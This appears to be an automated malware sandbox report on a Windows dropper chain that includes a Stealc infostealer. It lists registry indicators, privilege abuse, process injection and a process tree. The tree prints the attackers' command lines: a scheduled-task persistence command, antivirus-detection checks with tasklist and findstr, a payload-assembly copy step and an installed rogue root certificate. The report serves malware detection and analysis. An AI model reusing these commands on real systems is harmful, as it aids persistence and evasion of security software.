Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	needmoney.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

stealc_default2.exeJavvvUmar.exe2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	stealc_default2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	stealc_default2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	JavvvUmar.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	JavvvUmar.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

MeshAgent.exeMeshAgent.exeMeshAgent.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	MeshAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	MeshAgent.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	MeshAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133717048379938233"	MeshAgent.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

RegAsm.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2272 schtasks.exe
3524 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

InstallUtil.exe

pid process

5808 InstallUtil.exe

pid	process
2272	schtasks.exe
3524	schtasks.exe

pid	process
5808	InstallUtil.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exestealc_default2.exew0PJCwfUNQ.exeRegAsm.exen0callPJEE.exepenis.exeWaters.pifRegAsm.exe

pid	process
3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
3060	axplong.exe
3060	axplong.exe
4272	stealc_default2.exe
4272	stealc_default2.exe
4496	w0PJCwfUNQ.exe
4496	w0PJCwfUNQ.exe
1812	RegAsm.exe
1812	RegAsm.exe
1812	RegAsm.exe
1812	RegAsm.exe
1812	RegAsm.exe
1812	RegAsm.exe
4088	n0callPJEE.exe
4088	n0callPJEE.exe
4088	n0callPJEE.exe
4088	n0callPJEE.exe
4088	n0callPJEE.exe
4088	n0callPJEE.exe
4272	stealc_default2.exe
4272	stealc_default2.exe
4296	penis.exe
4296	penis.exe
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
2352	RegAsm.exe
2352	RegAsm.exe
2352	RegAsm.exe
2352	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

w0PJCwfUNQ.exeRegAsm.exen0callPJEE.exepenis.exetasklist.exetasklist.exeRegAsm.exeacentric.exe66ed86be077bb_12.execontorax.exewinmsbt.exetasklist.exetasklist.exerstxdhuj.exeInstallUtil.exepowershell.exewmic.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	4496	w0PJCwfUNQ.exe
Token: SeBackupPrivilege	4496	w0PJCwfUNQ.exe
Token: SeSecurityPrivilege	4496	w0PJCwfUNQ.exe
Token: SeSecurityPrivilege	4496	w0PJCwfUNQ.exe
Token: SeSecurityPrivilege	4496	w0PJCwfUNQ.exe
Token: SeSecurityPrivilege	4496	w0PJCwfUNQ.exe
Token: SeDebugPrivilege	1812	RegAsm.exe
Token: SeDebugPrivilege	4088	n0callPJEE.exe
Token: SeDebugPrivilege	4296	penis.exe
Token: SeBackupPrivilege	4296	penis.exe
Token: SeSecurityPrivilege	4296	penis.exe
Token: SeSecurityPrivilege	4296	penis.exe
Token: SeSecurityPrivilege	4296	penis.exe
Token: SeSecurityPrivilege	4296	penis.exe
Token: SeDebugPrivilege	4216	tasklist.exe
Token: SeDebugPrivilege	1124	tasklist.exe
Token: SeDebugPrivilege	2352	RegAsm.exe
Token: SeDebugPrivilege	2724	acentric.exe
Token: SeDebugPrivilege	4836	66ed86be077bb_12.exe
Token: SeDebugPrivilege	3268	contorax.exe
Token: SeDebugPrivilege	4536	winmsbt.exe
Token: SeDebugPrivilege	1164	tasklist.exe
Token: SeDebugPrivilege	4744	tasklist.exe
Token: SeDebugPrivilege	1824	rstxdhuj.exe
Token: SeDebugPrivilege	1824	rstxdhuj.exe
Token: SeDebugPrivilege	5808	InstallUtil.exe
Token: SeDebugPrivilege	5992	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	5580	wmic.exe
Token: SeIncreaseQuotaPrivilege	5580	wmic.exe
Token: SeSecurityPrivilege	5580	wmic.exe
Token: SeTakeOwnershipPrivilege	5580	wmic.exe
Token: SeLoadDriverPrivilege	5580	wmic.exe
Token: SeSystemtimePrivilege	5580	wmic.exe
Token: SeBackupPrivilege	5580	wmic.exe
Token: SeRestorePrivilege	5580	wmic.exe
Token: SeShutdownPrivilege	5580	wmic.exe
Token: SeSystemEnvironmentPrivilege	5580	wmic.exe
Token: SeUndockPrivilege	5580	wmic.exe
Token: SeManageVolumePrivilege	5580	wmic.exe
Token: SeAssignPrimaryTokenPrivilege	5580	wmic.exe
Token: SeIncreaseQuotaPrivilege	5580	wmic.exe
Token: SeSecurityPrivilege	5580	wmic.exe
Token: SeTakeOwnershipPrivilege	5580	wmic.exe
Token: SeLoadDriverPrivilege	5580	wmic.exe
Token: SeSystemtimePrivilege	5580	wmic.exe
Token: SeBackupPrivilege	5580	wmic.exe
Token: SeRestorePrivilege	5580	wmic.exe
Token: SeShutdownPrivilege	5580	wmic.exe
Token: SeSystemEnvironmentPrivilege	5580	wmic.exe
Token: SeUndockPrivilege	5580	wmic.exe
Token: SeManageVolumePrivilege	5580	wmic.exe
Token: SeAssignPrimaryTokenPrivilege	6036	wmic.exe
Token: SeIncreaseQuotaPrivilege	6036	wmic.exe
Token: SeSecurityPrivilege	6036	wmic.exe
Token: SeTakeOwnershipPrivilege	6036	wmic.exe
Token: SeLoadDriverPrivilege	6036	wmic.exe
Token: SeSystemtimePrivilege	6036	wmic.exe
Token: SeBackupPrivilege	6036	wmic.exe
Token: SeRestorePrivilege	6036	wmic.exe
Token: SeShutdownPrivilege	6036	wmic.exe
Token: SeSystemEnvironmentPrivilege	6036	wmic.exe
Token: SeUndockPrivilege	6036	wmic.exe
Token: SeManageVolumePrivilege	6036	wmic.exe
Token: SeAssignPrimaryTokenPrivilege	6036	wmic.exe

Suspicious use of FindShellTrayWindow 11 IoCs

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeNework.exeWaters.pifcontorax.exewinmsbt.exeWaters.pif06ebaa3ce3.exe

pid	process
3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
1096	Nework.exe
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
3268	contorax.exe
4536	winmsbt.exe
4532	Waters.pif
4532	Waters.pif
4532	Waters.pif
3228	06ebaa3ce3.exe

Suspicious use of SendNotifyMessage 8 IoCs

Processes:

Waters.pifcontorax.exewinmsbt.exeWaters.pif

pid process

1436 Waters.pif
1436 Waters.pif
1436 Waters.pif
3268 contorax.exe
4536 winmsbt.exe
4532 Waters.pif
4532 Waters.pif
4532 Waters.pif
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

InstallUtil.exe

pid process

5808 InstallUtil.exe

pid	process
1436	Waters.pif
1436	Waters.pif
1436	Waters.pif
3268	contorax.exe
4536	winmsbt.exe
4532	Waters.pif
4532	Waters.pif
4532	Waters.pif

pid	process
5808	InstallUtil.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exeaxplong.exegold.exe12dsvc.exeNework.exeRegAsm.exeneedmoney.exe

description	pid	process	target process
PID 3380 wrote to memory of 3060	3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe	axplong.exe
PID 3380 wrote to memory of 3060	3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe	axplong.exe
PID 3380 wrote to memory of 3060	3380	bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe	axplong.exe
PID 3060 wrote to memory of 1200	3060	axplong.exe	gold.exe
PID 3060 wrote to memory of 1200	3060	axplong.exe	gold.exe
PID 3060 wrote to memory of 1200	3060	axplong.exe	gold.exe
PID 1200 wrote to memory of 1836	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1836	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1836	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 1200 wrote to memory of 1812	1200	gold.exe	RegAsm.exe
PID 3060 wrote to memory of 2364	3060	axplong.exe	12dsvc.exe
PID 3060 wrote to memory of 2364	3060	axplong.exe	12dsvc.exe
PID 3060 wrote to memory of 2364	3060	axplong.exe	12dsvc.exe
PID 3060 wrote to memory of 1096	3060	axplong.exe	Nework.exe
PID 3060 wrote to memory of 1096	3060	axplong.exe	Nework.exe
PID 3060 wrote to memory of 1096	3060	axplong.exe	Nework.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 2364 wrote to memory of 4376	2364	12dsvc.exe	RegAsm.exe
PID 1096 wrote to memory of 2564	1096	Nework.exe	Hkbsse.exe
PID 1096 wrote to memory of 2564	1096	Nework.exe	Hkbsse.exe
PID 1096 wrote to memory of 2564	1096	Nework.exe	Hkbsse.exe
PID 4376 wrote to memory of 4496	4376	RegAsm.exe	w0PJCwfUNQ.exe
PID 4376 wrote to memory of 4496	4376	RegAsm.exe	w0PJCwfUNQ.exe
PID 4376 wrote to memory of 4496	4376	RegAsm.exe	w0PJCwfUNQ.exe
PID 4376 wrote to memory of 4088	4376	RegAsm.exe	n0callPJEE.exe
PID 4376 wrote to memory of 4088	4376	RegAsm.exe	n0callPJEE.exe
PID 4376 wrote to memory of 4088	4376	RegAsm.exe	n0callPJEE.exe
PID 3060 wrote to memory of 4272	3060	axplong.exe	stealc_default2.exe
PID 3060 wrote to memory of 4272	3060	axplong.exe	stealc_default2.exe
PID 3060 wrote to memory of 4272	3060	axplong.exe	stealc_default2.exe
PID 3060 wrote to memory of 4860	3060	axplong.exe	needmoney.exe
PID 3060 wrote to memory of 4860	3060	axplong.exe	needmoney.exe
PID 3060 wrote to memory of 4860	3060	axplong.exe	needmoney.exe
PID 3060 wrote to memory of 4296	3060	axplong.exe	penis.exe
PID 3060 wrote to memory of 4296	3060	axplong.exe	penis.exe
PID 3060 wrote to memory of 4296	3060	axplong.exe	penis.exe
PID 3060 wrote to memory of 2724	3060	axplong.exe	acentric.exe
PID 3060 wrote to memory of 2724	3060	axplong.exe	acentric.exe
PID 3060 wrote to memory of 2724	3060	axplong.exe	acentric.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 4860 wrote to memory of 1788	4860	needmoney.exe	svchost015.exe
PID 3060 wrote to memory of 4048	3060	axplong.exe	2.exe
PID 3060 wrote to memory of 4048	3060	axplong.exe	2.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3568
- C:\Users\Admin\AppData\Local\Temp\bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe
  "C:\Users\Admin\AppData\Local\Temp\bb9ebd7b003b34e4e1dab658f246bf3921c6598f6af5416735b83bb48395d8c7.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
    "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe
      "C:\Users\Admin\AppData\Local\Temp\1000002001\gold.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1200
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1836
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1812
  - - C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe
      "C:\Users\Admin\AppData\Local\Temp\1000004001\12dsvc.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2364
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4376
      - C:\Users\Admin\AppData\Roaming\w0PJCwfUNQ.exe
        
        "C:\Users\Admin\AppData\Roaming\w0PJCwfUNQ.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4496
      - C:\Users\Admin\AppData\Roaming\n0callPJEE.exe
        
        "C:\Users\Admin\AppData\Roaming\n0callPJEE.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
  - - C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
      "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1096
    - - C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2564
      - C:\Users\Admin\AppData\Local\Temp\1000063001\JavvvUmar.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000063001\JavvvUmar.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:1408
        
        C:\Users\Admin\AppData\Local\Temp\service123.exe
        
        "C:\Users\Admin\AppData\Local\Temp\service123.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4216
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\Admin\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2272
  - - C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4272
  - - C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe
      "C:\Users\Admin\AppData\Local\Temp\1000191001\needmoney.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4860
    - - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        5⤵
        Executes dropped EXE
        
        PID:1788
  - - C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe
      "C:\Users\Admin\AppData\Local\Temp\1000254001\penis.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4296
  - - C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe
      "C:\Users\Admin\AppData\Local\Temp\1000284001\acentric.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2724
  - - C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000285001\2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4048
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
        5⤵
        
        PID:4880
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4880 -s 412
        6⤵
        Program crash
        
        PID:2124
  - - C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe
      "C:\Users\Admin\AppData\Local\Temp\1000287001\splwow64.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:4612
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4884
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4496
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:1124
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1940
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 607698
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2840
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "MaskBathroomCompositionInjection" Participants
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4548
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3044
      - C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
        
        Waters.pif Q
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1436
        
        C:\Users\Admin\AppData\Local\Temp\1000169001\contorax.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000169001\contorax.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3268
        
        C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe
        
        "C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe"
        8⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4536
        
        C:\Users\Admin\AppData\Local\Temp\1000305001\splwow64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000305001\splwow64.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
        8⤵
        
        PID:1348
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        9⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:4744
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:2920
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 607698
        9⤵
        
        PID:3372
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Navy + ..\Temperature + ..\Streaming + ..\Ashley + ..\Ensures + ..\Language + ..\Viruses + ..\Bet + ..\Fla + ..\Asbestos + ..\Width Q
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\607698\Waters.pif
        
        Waters.pif Q
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4532
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:612
        
        C:\Users\Admin\AppData\Local\Temp\1000308001\kitty.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000308001\kitty.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1752
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1752 -s 488
        8⤵
        Program crash
        
        PID:3344
        
        C:\Users\Admin\1000343002\clip.exe
        
        "C:\Users\Admin\1000343002\clip.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1944
        
        C:\Users\Admin\AppData\Local\Temp\1000351001\4b0eb3d752.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000351001\4b0eb3d752.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:980
        
        C:\Users\Admin\AppData\Local\Temp\1000359001\acentric.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000359001\acentric.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4964
        
        C:\Users\Admin\AppData\Local\Temp\1000404101\Installeraus.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000404101\Installeraus.exe"
